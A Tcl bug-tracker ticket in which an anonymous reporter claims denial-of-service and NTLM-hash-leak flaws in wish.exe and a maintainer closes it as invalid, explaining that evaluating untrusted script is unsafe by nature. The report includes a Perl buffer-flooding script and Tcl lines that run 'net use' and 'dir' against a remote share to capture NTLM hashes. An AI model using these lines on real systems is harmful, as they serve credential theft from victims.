Skip to content
Tcl Source Code History Of Ticket a6ba4e271400a01a
Login

History Of Ticket a6ba4e271400a01a

Artifacts Associated With Ticket a6ba4e271400a01a

  1. Ticket change [53f0904986] (rid 198797) by anonymous on 2022-03-06 22:58:51:

    1. assignee initialized to: "nobody"
    2. closer initialized to: "nobody"
    3. cmimetype initialized to: "text/plain"
    4. comment initialized to:
      Hello Security Team , 
      
      wish.exe and wish86.exe is vulnerable to a denial of service vulnerability and leaking NTLM Hashes vulnerability 
      
      - Denial of Service vulnerability
      the vulnerability exist in the wish86.exe & wish.exe it cause denial of service by importing a malicious TCL file in the ( Source ) 
      an attacker could exploit the vulnerability to cause the software process to become abnormal 
      
      the result is a remote exploitable denial of service using a malicious TCL file
      To exploit the vulnerability, an attacker could create a TCL file containing specially content and convince the user to import the file.
      
      [#] Steps :
      
      1 - Create a malicious (.tcl) file : 
      
      Exploitation POC in perl : 
      #!/usr/bin/perl
      my $Buff = "A" x 1000000000;
      open(MYFILE,'>>dos.tcl');
      print MYFILE $Buff;
      close(MYFILE);
      print "POC";
      
      2 - Proof of Concept : 
      
      > https://youtu.be/MkDSJlygS-4
      > https://youtu.be/sP9rRo4s_Fc
      
      
      - You can also take a closer look at this guide which contains the concept picture of wish.exe and wish86.exe :
      > https://prnt.sc/Gg9w1jUX79n3
      > https://prnt.sc/4xSCfsROiHHz
      > https://prnt.sc/5sl39qJLgj-R
      
      this informations shows that wish.exe and wish86.exe are crashed using a large unicode payload in dos.tcl 
      
      
      - leaking NTLM Hashes vulnerability 
      
      there is an information disclosure data exfiltration vulnerability
      Attackers could create a malicious TCL file containing specially crafted malicious content that is designed to submit malicious input 
      to the affected software wish.exe and wish86.exe
      An attacker could exploit this vulnerability by persuading an authenticated user to import a malicious crafted tcl file in wish.exe and wish86.exe
      An exploit could allow the attacker to conduct an information disclosure data exfiltration vulnerability attack, 
      which the attacker could use to access sensitive information ( leaking NTLM hashes ) on the targeted system that may aid in further attacks. 
      In all cases, the vulnerability could used for data exfiltration and a victimes machines compromise that is relies on 
      social engineering for exploitation ( Phishing - remote share & USB - HID Attack etc ... )
      also an attacker can perform ( MITM - ssrf ) 
      
      Proof of concept Picture : https://prnt.sc/nJhOxSSuGDNE
      
      Proof of concept Codes for exploitation malicious.tcl : ( use responder ) 
      - eval exec [auto_execok net ] use http://192.168.170.136/share
      - eval exec [auto_execok net ] use //192.168.170.136/share
      - eval exec [auto_execok dir ] //192.168.170.136/share
      
      i report this vulnerabilities to Intel Security Team in their Quartus software
      that support wish.exe & wish86.exe and they told me that i must report it here 
      
      
      Eagerly awaiting your response.
      Thanking You,
      Yours Sincerely,
      
    5. foundin initialized to: "wish.exe & wish86.exe"
    6. is_private initialized to: "0"
    7. login: "anonymous"
    8. priority initialized to: "5 Medium"
    9. private_contact initialized to: "b259a59aadb981f25984062af3c284051a63cf7e"
    10. resolution initialized to: "None"
    11. severity initialized to: "Minor"
    12. status initialized to: "Open"
    13. submitter initialized to: "anonymous"
    14. subsystem initialized to: "69. Other"
    15. title initialized to:
      leaking NTLM Hashes vulnerability & Denial Of Service vulnerability
      
    16. type initialized to: "Bug"
  2. Ticket change [02cc03cf2f] (rid 198826) by sebres on 2022-03-07 19:54:47:

    1. closedate changed to: "2459646.32972076"
    2. closer changed to: "sebres"
    3. icomment:
      <blockquote><i>> Denial of Service vulnerability</i></blockquote>
      
      Neither this is a DoS vulnerability, nor this has something to do with vulnerability at all.
      
      Every kind of unverified user input evaluating directly in script language processor is evil. Even a simplest busy loop, like <code>while 1 {}</code> may block a thread with full load.
      
      <blockquote><i>> this informations shows that wish.exe and wish86.exe are crashed</i></blockquote>
      
      They are not crashed but controlled terminated (panic to stdout and exit with error code).
      Your Tcl seems to be 32-bit version, thus it is subject to the same restrictions as any onther 32-bit process (cannot allocate more than 2GB memory), what an evaluation of such long (unknown) command may imply.
      
      Similar behavior you could see using this (depending on version):
      <pre><code>
      > echo puts -nonewline "eval "; puts [string repeat A 1000000000];  | tclsh86 | tclsh86
      unable to realloc 478150625 bytes
      </code></pre>
      
      Basically NOMEM is an extraordinary situation so there is almost nothing one can do to avoid this excepting probably an attempt to show a message box with error in UI case (in tk applicaion, e.g. using wish). Simplest way to achieve that would be to set another panic handler with <code>Tcl_SetPanicProc</code> which would try to show native message box and then exit.
      
      There are many corner cases where one'd need to "fix" it, but the effort and costs are too large to handle NOMEM in some different way, e. g. stop command/script evaluation only and put an error "invalid command" (which may be again too long for this particular case).
      
      And last but not least, neither any "fix", nor a 64-bit build of the Tcl library would make it safe either.<br/>
      Such an unfiltered foreign input evaluated in tcl directly can open much more attack vectors than simple DoS, because the script would evaluate everything in context of the user and so can do basically everything what permissions allow, for instance delete files or directories, send spam, build a small PE (virus) and start them hereafter, etc. 
      But this is not matter of Tcl and valid for every script language.
      
    4. login: "sebres"
    5. mimetype: "text/x-fossil-wiki"
    6. resolution changed to: "Invalid"
    7. status changed to: "Closed"
    8. subsystem changed to: "41. Memory Allocation"